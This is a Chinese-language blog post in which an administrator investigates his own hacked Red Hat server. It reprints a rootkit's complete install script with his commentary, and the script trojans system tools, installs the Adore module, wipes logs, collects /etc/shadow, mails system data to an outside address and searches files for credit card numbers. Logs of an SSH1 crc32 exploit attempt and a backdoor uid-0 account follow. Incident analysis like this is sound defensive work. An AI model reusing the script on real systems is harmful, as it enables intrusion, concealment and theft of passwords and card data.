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我的朋友

分类: 网络与安全

2005-08-06 23:35:12

本来也不知道自己的机器有人进来了,因为放在内部,能经过NAT进来的几乎是 不可能的,但无意登陆机器随便看看,发现有个glibc的动态库不见了,立刻...

本来也不知道自己的机器有人进来了,因为放在内部,能经过NAT进来的几乎是
  不可能的,但无意登陆机器随便看看,发现有个glibc的动态库不见了,立刻到
  message
  那看看,什么都没有。FT,立刻启动备份机器,把硬盘拔出来,插到我的其他服务
  器上检查。唉,果然。。。
  
  [root@mail a]# la- la
  bash: la-: command not found
  [root@mail a]# ls -la
  total 704
  drwxr-xr-x 23 root root 4096 Feb 2 08:08 .
  drwxr-xr-x 7 root root 4096 Feb 5 18:15 ..
  drwxr-xr-x 2 root root 4096 Oct 27 1999 .automount
  drwxr-xr-x 2 root root 4096 Nov 23 20:26 CVS
  drwxr-xr-x 2 root root 4096 Feb 2 08:08 bin
  drwxr-xr-x 2 root root 4096 Feb 3 17:55 boot
  drwxr-xr-x 2 root root 4096 Nov 23 22:04 command
  -rw------- 1 root root 241664 Jan 28 23:01 core
  就是这里溢出啦,看来是FTP或者SSH的问题,内部实验机器,内部IP
  就懒得升级,结果。。。等下再gdm你好了。
  
  drwxr-xr-x 7 root root 36864 Feb 2 08:08 dev
  -rw-r--r-- 1 root root 330646 Feb 2 08:08 eddyrk.tar.gz
  真要命,直接放,搞不懂是高手失误还是只会用别人的程序。
  drwxr-xr-x 38 root root 4096 Feb 4 23:23 etc
  drwxr-xr-x 2 root root 4096 Nov 23 20:20 home
  drwxr-xr-x 4 root root 4096 Nov 23 20:30 lib
  drwxr-xr-x 2 root root 16384 Nov 23 20:20 lost+found
  drwxr-xr-x 2 root root 4096 Oct 31 1999 misc
  drwxr-xr-x 4 root root 4096 Nov 23 20:26 mnt
  drwxr-xr-t 3 root root 4096 Nov 23 22:03 package
  dr-xr-xr-x 2 root root 4096 Feb 7 1996 proc
  drwxr-xr-x 2 qmails 507 4096 Dec 14 21:40 rk
  就是这个rootkit!看来很多人用这个呢
  drwxr-xr-x 6 root root 4096 Feb 2 23:46 root
  drwxr-xr-x 3 root root 4096 Feb 2 08:08 sbin
  看到这2个目录没有,已经给改动过了,不可信任。
  
  drwxr-xr-x 2 root root 4096 Nov 23 21:40 service
  drwxrwxrwt 3 root root 4096 Feb 4 23:01 tmp
  drwxr-xr-x 16 root root 4096 Nov 23 20:29 usr
  drwxr-xr-x 2 root root 4096 Nov 23 20:20 var
  [root@mail a]# date
  星期二 02 5 18:28:17 CST 2002
  
  
  
  [root@mail rk]# cat install
  #!/bin/sh
  unset HISTFILE
  STARTDIR=`pwd`
  CARDLOG="/usr/lib/locale/ro_RO/uboot/card.log"
  这个程序的作者真不是人,连别人的信用卡都偷!
  
  SMP=`uname -a | grep smp | wc -l`
  还真的没考虑过入侵需要考虑是否SMP呢
  clear
  echo "***** devhda1`s aka Mithra`s rootkit *****"
  echo "* greetz 2 bogonel and Amorph|s *"
  echo "* This is the RedHat 7.0 build *"
  echo "********************************************"
  sleep 2
  clear
  echo "Please wait while Setup is preparing your directory ... "
  sleep 5
  clear
  echo "Heh, sounds like f***in' Windoze, doesn't it ? :) "
  sleep 2
  clear
  DIR="/usr/lib/locale/ro_RO/uboot"
  mkdir -p $DIR
  mkdir -p $DIR/etc
  
  cp -f * $DIR/ >>/dev/null 少有的清空方式,这样就没办法追查INODE了。
  cd $DIR
  
  echo "Installing trojaned system files ..."
  
  echo "[*] Process tools ..."
  替换查看进程命令,FT
  echo " |---ps"
  chattr -aiu /bin/ps
  ./sz /bin/ps ps
  mv -f ps /bin/ps
  chattr +aiu /bin/ps
  echo " | \"
  echo " | |-- done replacing ps "
  
  sleep 1
  
  echo " |---pstree"
  chattr -aiu /usr/bin/pstree
  ./sz /usr/bin/pstree pstree
  mv -f pstree /usr/bin/pstree
  chattr +aiu /usr/bin/pstree
  echo " | \"
  echo " | |-- done replacing pstree "
  
  sleep 1
  
  echo " |---top"
  chattr -aiu /usr/bin/top
  ./sz /usr/bin/top top
  mv -f top /usr/bin/top
  chattr +aiu /usr/bin/top
  echo " | \"
  echo " | |-- done replacing top "
  echo " |----|"
  sleep 5
  
  echo "[*] Network tools ..."
  替换网络命令,FT,毒
  echo " |---netstat"
  chattr -aiu /bin/netstat
  ./sz /bin/netstat netstat
  mv -f netstat /bin/netstat
  chattr +aiu /bin/netstat
  echo " | \"
  echo " | |-- done replacing netstat "
  
  sleep 1
  
  echo " |---ifconfig"
  chattr -aiu /sbin/ifconfig
  ./sz /sbin/ifconfig ifconfig
  mv -f ifconfig /sbin/ifconfig
  chattr +aiu /sbin/ifconfig
  echo " | \"
  echo " | |-- done replacing ifconfig "
  
  #echo " |---inetd"
  贱啊,什么都换了
  
  #chattr -aiu /usr/sbin/inetd
  #./sz /usr/sbin/inetd inetd
  #mv -f inetd /usr/sbin/inetd
  #chattr +aiu /usr/sbin/inetd
  #echo " | \"
  #echo " | |-- done replacing inetd "
  
  sleep 1
  
  echo " |---tcpd"
  chattr -aiu /usr/sbin/tcpd
  ./sz /usr/sbin/tcpd tcpd
  mv -f tcpd /usr/sbin/tcpd
  chattr +aiu /usr/sbin/tcpd
  echo " | \"
  echo " | |-- done replacing tcpd "
  echo " |----|"
  sleep 1
  
  echo "[*] Filesystem tools ..."
  换了查找命令
  echo " |---find"
  chattr -aiu /usr/bin/find
  ./sz /usr/bin/find find
  mv -f find /usr/bin/find
  chattr +aiu /usr/bin/find
  echo " | \"
  echo " | |-- done replacing find "
  
  sleep 1
  
  echo " |---ls"
  chattr -aiu /bin/ls
  ./sz /bin/ls ls
  mv -f ls /bin/ls
  chattr +aiu /bin/ls
  echo " | \"
  echo " | |-- done replacing ls "
  echo " |----|"
  
  echo " |---dir"
  chattr -aiu /usr/bin/dir
  ./sz /usr/bin/dir dir
  mv -f dir /usr/bin/dir
  chattr +aiu /usr/bin/dir
  echo " | \"
  echo " | |-- done replacing dir "
  echo " |----|"
  
  sleep 1
  
  echo "[*] System tools ..."
  
  echo " |---syslogd"
  chattr -aiu /sbin/syslogd
  ./sz /sbin/syslogd syslogd
  mv -f syslogd /sbin/syslogd
  chattr +aiu /sbin/syslogd
  echo " | \"
  echo " | |-- done replacing syslog "
  echo " |----|"
  
  删除所有log文件,不过这里写得不好。
  用不删除,清内容更好。
  rm -f /var/log/messages
  touch /var/log/messages
  /etc/rc.d/init.d/syslog restart
  sleep 1
  
  echo "[*] Placing configuration files in $DIR/etc/ ..."
  mv -f netstatrc $DIR/etc/netstatrc
  mv -f procrc $DIR/etc/procrc
  mv -f filerc $DIR/etc/filerc
  mv -f logrc $DIR/etc/logrc
  sleep 1
  
  开始编译外挂进程了,还好,不是LKM
  echo "[*] Trying to install ADORE ..."
  if [ -x /usr/bin/gcc ];
  then
  echo "GCC is present"
  if [ -d /usr/src/linux ];
  then
  if [ $SMP -eq 0 ];
  then
  echo "We have a machine without SMP support"
  cp -f Makefile.non-smp Makefile
  else
  echo "This machine supports SMP"
  cp -f Makefile.smp Makefile
  fi
  make
  mv -f ava /usr/bin/weather
  还改头换面呢,呵呵~~
  rm -f *.c *.h Makefile*
  echo "ADORE is now installed ..."
  else
  echo "Kernel sources are not installed. Cannot install ADORE !"
  fi
  else
  echo "GCC is not installed. Cannot install ADORE !"
  fi
  
  echo "[*] Replacing /etc/rc.d/init.d/network with ours ..."
  mv -f network /etc/rc.d/init.d/network
  sleep 5
  mv -f twist2open /usr/bin/
  echo "[*] Starting services ..."
  #echo " |---backdoor ..."
  #echo " |---sniffer ..."
  加了后门还开SNIFFER,哼哼
  #echo " |---bnc ..."
  /usr/bin/twist2open &
  echo " | \"
  echo " | |-- done"
  echo " |----|"
  rm -f ./*pid* /*pid* /*log*
  sleep 5
  
  echo "[*] Gathering system info ..."
  echo " |---uname -a"
  uname -a >>file
  echo " |---ifconfig"
  /sbin/ifconfig >>file
  echo "|------" >>file
  echo " |---passwd file"
  cat /etc/passwd >>file
  echo " |---shadow file"
  echo "|------" >>file
  cat /etc/shadow >>file
  哇!!!!我的密码啊!!!!!!!
  echo " |---ping statistics"
  ping -c 5 216.115.108.245 >>file
  echo " | \"
  echo " | |-- done"
  echo "[*] Fixing vulns ..."
  echo " |---.bash_history"
  chattr +ia /root/.bash_history
  聪明!的确要佩服这个作者了
  echo " |---ftpd"
  chmod -s /var/ftp/*
  echo " |---rpc"
  chmod -s /usr/bin/rpc*
  chmod -s /usr/sbin/rpc*
  chmod -s /sbin/rpc*
  echo " |---named"
  chmod -s /var/named
  所有应用程序都加上了SUID,幸亏我从来不用默认的服务的
  sleep 5
  echo " | \"
  echo " | |-- done"
  echo " |----|"
  echo "[*] Cleaning logs. This will take a while ..."
  开始清除LOG,进行收尾工作。
  ./logcleaner ftp >>/dev/null
  ./logcleaner rpc >>/dev/null
  ./logcleaner named >>/dev/null
  ./logcleaner yahoo >>/dev/null
  ./logcleaner bind >>/dev/null
  ./logcleaner geocities >>/dev/null
  ./logcleaner hypermart >>/dev/null
  ./logcleaner syslogd >>/dev/null
  sleep 1
  echo " | \"
  echo " | |-- done"
  echo " |----|"
  echo "[*] Mailing system information ..."
  mail -s "`uname -a`" ja_ja_j@yahoo.com   把所有资料都MAIL出去,毒
  rm -f file
  cd $STARTDIR
  rm -rf ../*rh*
  echo "[*] Looking for cards ..."
  touch $CARDLOG
  egrep -ir 'mastercard|visa' /home|egrep -v cache >>$CARDLOG
  egrep -ir 'mastercard|visa' /var|egrep -v cache >>$CARDLOG
  egrep -ir 'mastercard|visa' /root|egrep -v cache >>$CARDLOG
  if [ -d /www ];
  then
  egrep -ir 'mastercard|visa' /www|egrep -v cache >>$CARDLOG
  fi
  这些代码就很有问题了,我在怀疑作者的人格了。
  echo "Rootkit successfully installed. Enjoy !"
  
  继续分析
  [root@mail log]# cat secure
  Jan 28 23:28:17 dnscache in.ftpd[2767]: connect from 192.168.100.26
  Jan 28 23:28:17 dnscache in.ftpd[2767]: error: cannot execute
  /usr/sbin/in.ftpd: No such file or directory
  Jan 30 04:44:05 dnscache in.telnetd[3891]: connect from 192.168.100.
  141
  Jan 30 17:41:17 dnscache in.telnetd[4199]: connect from 211.155.24.246
  Jan 31 00:52:23 dnscache login: FAILED LOGIN 1 FROM (null) FOR , User
  not known to the underlying authentication module
  Jan 31 19:13:57 dnscache in.telnetd[872]: connect from 192.168.100.141
  Feb 1 04:03:46 dnscache in.telnetd[1143]: connect from 192.168.100.25
  Feb 1 04:12:23 dnscache in.telnetd[1166]: connect from 192.168.100.25
  Feb 1 07:34:10 dnscache in.telnetd[1282]: connect from 211.155.24.246
  Feb 2 07:05:13 dnscache in.telnetd[1927]: connect from 218.17.238.238
  Feb 2 07:16:47 dnscache in.telnetd[1928]: connect from 218.17.238.238
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~问题来了,那是ADSL用户,而我是在内网
  ,怎么可能进来的?FT,要检讨内部安全问题了。
  
  看一下wtmp先:恩。。。正常
  pts/0
  chair
  192.168.100.25
  pts/0
  pts/0
  chair
  192.168.100.25
  pts/0
  pts/0
  chair
  211.155.24.246
  pts/0
  runlevel
  tty1
  <#.
  tty2
  tty3
    tty4
  tty5
    tty6
  tty1
  X.<
  tty1
  chair
  f.<
  reboot
  runlevel
  tty1
  LOGIN
  
  看看FTP的记录先,最讨厌FTP进来的人,只有自己。。。删了记录?
  root@mail log]# cat xferlog
  Fri Nov 23 21:17:31 2001 0 192.168.100.80 36975
  /home/chair/daemontools-0.76.tar.gz b _ i r chair ftp 0 *
  Fri Nov 23 21:17:32 2001 0 192.168.100.80 53019
  /home/chair/ucspi-tcp-0.88.tar.gz b _ i r chair ftp 0 *
  Fri Nov 23 21:17:34 2001 0 192.168.100.80 85648 /home/chair/djbdns-1.
  05.tar.gz b _ i r chair ftp 0 *
  Fri Nov 23 21:17:35 2001 0 192.168.100.80 28416
  /home/chair/qmailanalog-0.70.tar.gz b _ i r chair ftp 0 *
  
  [root@mail ssh-scan]#pwd
  /mnt/c/var/tmp/ssh-scan
  [root@mail ssh-scan]# ls -la
  total 32
  drwxr-xr-x 8 operator root 4096 Dec 2 08:22 .
  drwxrwxrwt 3 root root 4096 Feb 2 08:23 ..
  drwxr-xr-x 2 operator root 4096 Dec 2 08:07 bind
  drwxr-xr-x 2 operator root 4096 Dec 2 08:07 ftpd
  drwxr-xr-x 2 operator root 4096 Dec 2 08:07 lpd
  drwxr-xr-x 2 operator root 4096 Jun 16 2001 rpc
  drwxr-xr-x 2 operator root 4096 Jun 14 2001 src
  drwxr-xr-x 4 operator root 4096 Jan 21 19:57 ssh
  
  奇怪,应该是SCAN这些东西时候留下的文件锁,看来线索
  还是不少,或者这个进来的家伙太粗心了。
  
  [root@mail mail]# pwd
  /mnt/c/spool/mail
  
  [root@mail mail]#cat root |more
  太多了,垃圾日志省去大部分
  
  From root Sun Dec 2 05:01:00 2001
  Return-Path:
  Received: (from root@localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) id FAA23746
  for root; Sun, 2 Dec 2001 05:01:00 +0800
  Date: Sun, 2 Dec 2001 05:01:00 +0800
  From: root
  Message-Id: <200112012101.FAA23746@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  Subject: dnscache.i-168.com 12/02/01:05.01 system check
  
  
  Unusual System Events
  =-=-=-=-=-=-=-=-=-=-=
  *************** 问题大大的明显!!FT,我的错。
  *** WARNING ***: Log file /var/log/messages is smaller than last time
  checked!
  *************** This could indicate tampering.
  Dec 2 04:02:00 dnscache syslogd 1.3-3: restart.
  Dec 2 04:02:01 dnscache syslogd 1.3-3: restart.
  Dec 2 04:02:01 dnscache syslogd 1.3-3: restart.
  ***************
  *** WARNING ***: Log file /var/log/secure is smaller than last time
  checked!
  *************** This could indicate tampering.
  ***************
  *** WARNING ***: Log file /var/log/maillog is smaller than last time
  checked!
  *************** This could indicate tampering.
  
  
  From root Sun Dec 9 04:02:01 2001
  Return-Path:
  Received: (from root@localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) id EAA11188
  for root; Sun, 9 Dec 2001 04:02:01 +0800
  Date: Sun, 9 Dec 2001 04:02:01 +0800
  From: root
  Message-Id: <200112082002.EAA11188@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  Subject: errors rotating logs
  
  errors occured while rotating /var/log/httpd/access_log
  
  httpd: no process killed
  error running postrotate script
  
  
  Unusual System Events
  =-=-=-=-=-=-=-=-=-=-=
  ***************
  *** WARNING ***: Log file /var/log/messages is smaller than last time
  checked!
  *************** This could indicate tampering.
  Dec 9 04:02:01 dnscache syslogd 1.3-3: restart.
  Dec 9 04:02:01 dnscache syslogd 1.3-3: restart.
  Dec 9 04:02:01 dnscache syslogd 1.3-3: restart.
  ***************
  *** WARNING ***: Log file /var/log/secure is smaller than last time
  checked!
  
  From root Wed Jan 16 04:01:01 2002
  Return-Path:
  Received: (from root@localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) id EAA16976
  for root; Wed, 16 Jan 2002 04:01:01 +0800
  Date: Wed, 16 Jan 2002 04:01:01 +0800
  From: root
  Message-Id: <200201152001.EAA16976@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  Subject: dnscache.i-168.com 01/16/02:04.01 system check
  
  
  Unusual System Events
  =-=-=-=-=-=-=-=-=-=-=
  Jan 16 03:41:35 dnscache sshd[16485]: log: Connection from 200.184.184.
  51 port 3997
  Jan 16 03:41:36 dnscache sshd[16485]: fatal: Did not receive ident
  string. 扫描吧,哈哈~~
  
  From root Mon Jan 21 18:01:01 2002
  Return-Path:
  Received: (from root@localhost)
  by dnscache.i-168.com (8.9.3/8.9.3) id SAA19794
  for root; Mon, 21 Jan 2002 18:01:01 +0800
  Date: Mon, 21 Jan 2002 18:01:01 +0800
  From: root
  Message-Id: <200201211001.SAA19794@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  Subject: dnscache.i-168.com 01/21/02:18.01 ACTIVE SYSTEM ATTACK!
  
  HOHO~~~~原来是SSH的问题,我的SSH是那个什么破STARLINUX自带的,
  1.X吧,因为是实验机器,懒得升级,FT。问题来了
  Active System Attack Alerts
  =-=-=-=-=-=-=-=-=-=-=-=-=-=
  Jan 21 17:39:18 dnscache sshd[18176]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:04 dnscache sshd[18224]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:18 dnscache sshd[18236]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:25 dnscache sshd[18241]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:33 dnscache sshd[18244]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:52 dnscache sshd[18252]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:06 dnscache sshd[18262]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:13 dnscache sshd[18265]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:26 dnscache sshd[18273]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:29 dnscache sshd[18276]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:32 dnscache sshd[18279]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:36 dnscache sshd[18280]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:39 dnscache sshd[18283]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:43 dnscache sshd[18286]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:46 dnscache sshd[18287]: fatal: Local: crc32 compensation
  attack: network attack detected
  Security Violations
  =-=-=-=-=-=-=-=-=-=
  Jan 21 17:39:18 dnscache sshd[18176]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:04 dnscache sshd[18224]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:18 dnscache sshd[18236]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:25 dnscache sshd[18241]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:33 dnscache sshd[18244]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:52 dnscache sshd[18252]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:06 dnscache sshd[18262]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:13 dnscache sshd[18265]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:26 dnscache sshd[18273]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:29 dnscache sshd[18276]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:32 dnscache sshd[18279]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:36 dnscache sshd[18280]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:39 dnscache sshd[18283]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:43 dnscache sshd[18286]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:46 dnscache sshd[18287]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:50 dnscache sshd[18290]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:53 dnscache sshd[18293]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:57 dnscache sshd[18294]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:00 dnscache sshd[18297]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:03 dnscache sshd[18300]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:07 dnscache sshd[18303]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:10 dnscache sshd[18304]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:18 dnscache sshd[18310]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:35:47 dnscache sshd[18052]: log: Connection from 141.108.9.
  13 port 4639
  Jan 21 17:35:47 dnscache sshd[18053]: log: Connection from 141.108.9.
  13 port 4648
  Jan 21 17:35:49 dnscache sshd[18053]: fatal: Local: Your ssh version
  is too old and is no longer supported. Pl
  ease install a newer version.
  原来是这个家伙!但IP很古怪,是不是肉鸡??
  Jan 21 17:35:49 dnscache sshd[18056]: log: Connection from 141.108.9.
  13 port 4651
  Jan 21 17:36:36 dnscache sshd[18075]: log: Connection from 141.108.9.
  13 port 4674
  Jan 21 17:36:39 dnscache sshd[18078]: log: Connection from 141.108.9.
  13 port 4676
  Jan 21 17:36:42 dnscache sshd[18078]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:36:43 dnscache sshd[18079]: log: Connection from 141.108.9.
  13 port 4679
  Jan 21 17:36:46 dnscache sshd[18082]: log: Connection from 141.108.9.
  13 port 4682
  Jan 21 17:36:49 dnscache sshd[18082]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:36:50 dnscache sshd[18085]: log: Connection from 141.108.9.
  13 port 4685
  Jan 21 17:36:53 dnscache sshd[18085]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:36:53 dnscache sshd[18088]: log: Connection from 141.108.9.
  13 port 4687
  Jan 21 17:36:57 dnscache sshd[18089]: log: Connection from 141.108.9.
  13 port 4690
  Jan 21 17:37:00 dnscache sshd[18089]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:37:00 dnscache sshd[18092]: log: Connection from 141.108.9.
  13 port 4692
  Jan 21 17:37:04 dnscache sshd[18095]: log: Connection from 141.108.9.
  13 port 4694
  Jan 21 17:37:07 dnscache sshd[18095]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:37:08 dnscache sshd[18096]: log: Connection from 141.108.9.
  13 port 4697
  Jan 21 17:37:12 dnscache sshd[18099]: log: Connection from 141.108.9.
  13 port 4699
  Jan 21 17:37:24 dnscache sshd[18099]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:37:25 dnscache sshd[18106]: log: Connection from 141.108.9.
  13 port 4705
  Jan 21 17:37:28 dnscache sshd[18106]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:37:28 dnscache sshd[18109]: log: Connection from 141.108.9.
  13 port 4708
  Jan 21 17:37:28 dnscache sshd[18106]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:37:28 dnscache sshd[18109]: log: Connection from 141.108.9.
  13 port 4708
  Jan 21 17:37:31 dnscache sshd[18109]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:37:32 dnscache sshd[18110]: log: Connection from 141.108.9.
  13 port 4712
  Jan 21 17:37:36 dnscache sshd[18113]: log: Connection from 141.108.9.
  13 port 4713
  Jan 21 17:37:40 dnscache sshd[18116]: log: Connection from 141.108.9.
  13 port 4715
  Jan 21 17:37:43 dnscache sshd[18116]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:37:43 dnscache sshd[18119]: log: Connection from 141.108.9.
  13 port 4719
  Jan 21 17:37:47 dnscache sshd[18120]: log: Connection from 141.108.9.
  13 port 4720
  Jan 21 17:37:51 dnscache sshd[18123]: log: Connection from 141.108.9.
  13 port 1265Jan 21 17:41:12 dnscache sshd[18236]: log: Connection from
  141.108.9.13 port 2326
  Jan 21 17:41:18 dnscache sshd[18236]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:19 dnscache sshd[18241]: log: Connection from 141.108.9.
  13 port 2762
  Jan 21 17:41:25 dnscache sshd[18241]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:26 dnscache sshd[18244]: log: Connection from 141.108.9.
  13 port 4015
  Jan 21 17:41:33 dnscache sshd[18244]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:33 dnscache sshd[18247]: log: Connection from 141.108.9.
  13 port 4017
  Jan 21 17:41:40 dnscache sshd[18252]: log: Connection from 141.108.9.
  13 port 4019
  Jan 21 17:41:52 dnscache sshd[18252]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:41:52 dnscache sshd[18257]: log: Connection from 141.108.9.
  13 port 1049
  Jan 21 17:41:59 dnscache sshd[18262]: log: Connection from 141.108.9.
  13 port 1051
  Jan 21 17:42:06 dnscache sshd[18262]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:07 dnscache sshd[18265]: log: Connection from 141.108.9.
  13 port 1945
  Jan 21 17:42:13 dnscache sshd[18265]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:14 dnscache sshd[18270]: log: Connection from 141.108.9.
  13 port 3191
  Jan 21 17:42:23 dnscache sshd[18273]: log: Connection from 141.108.9.
  13 port 4027
  Jan 21 17:42:26 dnscache sshd[18273]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:26 dnscache sshd[18276]: log: Connection from 141.108.9.
  13 port 1110
  Jan 21 17:42:29 dnscache sshd[18276]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:30 dnscache sshd[18279]: log: Connection from 141.108.9.
  13 port 1557
  Jan 21 17:42:32 dnscache sshd[18279]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:33 dnscache sshd[18280]: log: Connection from 141.108.9.
  13 port 2124
  Jan 21 17:42:36 dnscache sshd[18280]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:36 dnscache sshd[18283]: log: Connection from 141.108.9.
  13 port 2630
  Jan 21 17:42:39 dnscache sshd[18283]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:40 dnscache sshd[18286]: log: Connection from 141.108.9.
  13 port 3184
  Jan 21 17:42:43 dnscache sshd[18286]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:43 dnscache sshd[18287]: log: Connection from 141.108.9.
  13 port 3915
  Jan 21 17:42:46 dnscache sshd[18287]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:42:47 dnscache sshd[18290]: log: Connection from 141.108.9.
  13 port 3918
  an 21 17:43:01 dnscache sshd[18300]: log: Connection from 141.108.9.13
  port 1033
  Jan 21 17:43:03 dnscache sshd[18300]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:04 dnscache sshd[18303]: log: Connection from 141.108.9.
  13 port 1034
  Jan 21 17:43:07 dnscache sshd[18303]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:08 dnscache sshd[18304]: log: Connection from 141.108.9.
  13 port 1036
  Jan 21 17:43:10 dnscache sshd[18304]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:11 dnscache sshd[18307]: log: Connection from 141.108.9.
  13 port 1586
  Jan 21 17:43:14 dnscache sshd[18307]: fatal: Local: Corrupted check
  bytes on input.
  Jan 21 17:43:15 dnscache sshd[18310]: log: Connection from 141.108.9.
  13 port 2150
  Jan 21 17:43:18 dnscache sshd[18310]: fatal: Local: crc32 compensation
  attack: network attack detected
  Jan 21 17:43:18 dnscache sshd[18311]: log: Connection from 141.108.9.
  13 port 2665
  Jan 21 17:43:22 dnscache sshd[18314]: log: Connection from 141.108.9.
  13 port 3162
  Jan 21 17:43:30 dnscache sshd[18319]: log: Connection from 141.108.9.
  13 port 4975
  Jan 21 17:43:34 dnscache sshd[18320]: log: Connection from 141.108.9.
  13 port 1512
  从开始连接到溢出只是用了10来分钟,看来SSH1.X不能用了。
  Jan 21 17:45:48 dnscache sshd[18052]: fatal: Timeout before
  authentication.
  Jan 21 17:47:37 dnscache adduser[18423]: new user: name=cgi, uid=0,
  gid=0, home=/home/cgi, shell=/bin/bash
  加帐号了,5~~~~~
  Jan 21 17:47:52 dnscache PAM_pwdb[18426]: password for (cgi/0) changed
  by ((null)/0)
  Jan 21 17:48:00 dnscache PAM_pwdb[18433]: password for (operator/11)
  changed by ((null)/0)
  干吗改自己的密码呢?有问题。
  Jan 21 17:48:18 dnscache sshd[18442]: log: Connection from 80.96.178.195
  port 1465
  Jan 21 17:48:20 dnscache sshd[18442]: log: Could not reverse map address
  80.96.178.195.
  Jan 21 17:48:28 dnscache sshd[18442]: log: Password authentication for
  operator accepted.
  Jan 21 17:49:12 dnscache sshd[18484]: log: Connection from 80.96.178.194
  port 2274
  Jan 21 17:49:12 dnscache sshd[18484]: log: Could not reverse map address
  80.96.178.194.
  Jan 21 17:49:20 dnscache sshd[18484]: log: Password authentication for
  operator accepted.
  情况很明显了,用了多个IP干活,能确定是肉鸡了,FT。
  Jan 21 17:50:30 dnscache sshd[18484]: fatal: Read error from remote
  host: Connection reset by peer
  Jan 21 17:51:08 dnscache sshd[18555]: log: Connection from 80.96.178.194
  port 2281
  Jan 21 17:51:08 dnscache sshd[18555]: log: Could not reverse map address
  80.96.178.194.
  Jan 21 17:51:19 dnscache sshd[18555]: log: Password authentication for
  operator accepted.
  Jan 21 17:58:11 dnscache sshd[18442]: fatal: Read error from remote
  host: Connection reset by peer
  by dnscache.i-168.com (8.9.3/8.9.3) id TAA23666
  for root; Mon, 21 Jan 2002 19:01:01 +0800
  Date: Mon, 21 Jan 2002 19:01:01 +0800
  From: root
  Message-Id: <200201211101.TAA23666@dnscache.i-168.com>
  To: root@dnscache.i-168.com
  Subject: dnscache.i-168.com 01/21/02:19.01 system check
  
  
  Unusual System Events
  =-=-=-=-=-=-=-=-=-=-=
  Jan 21 18:17:41 dnscache sshd[270]: log: Generating new 768 bit RSA
  key.
  Jan 21 18:17:41 dnscache sshd[270]: log: RSA key generation complete.
  Jan 21 19:00:16 dnscache sshd[23334]: log: Connection from 80.96.178.195
  port 1519
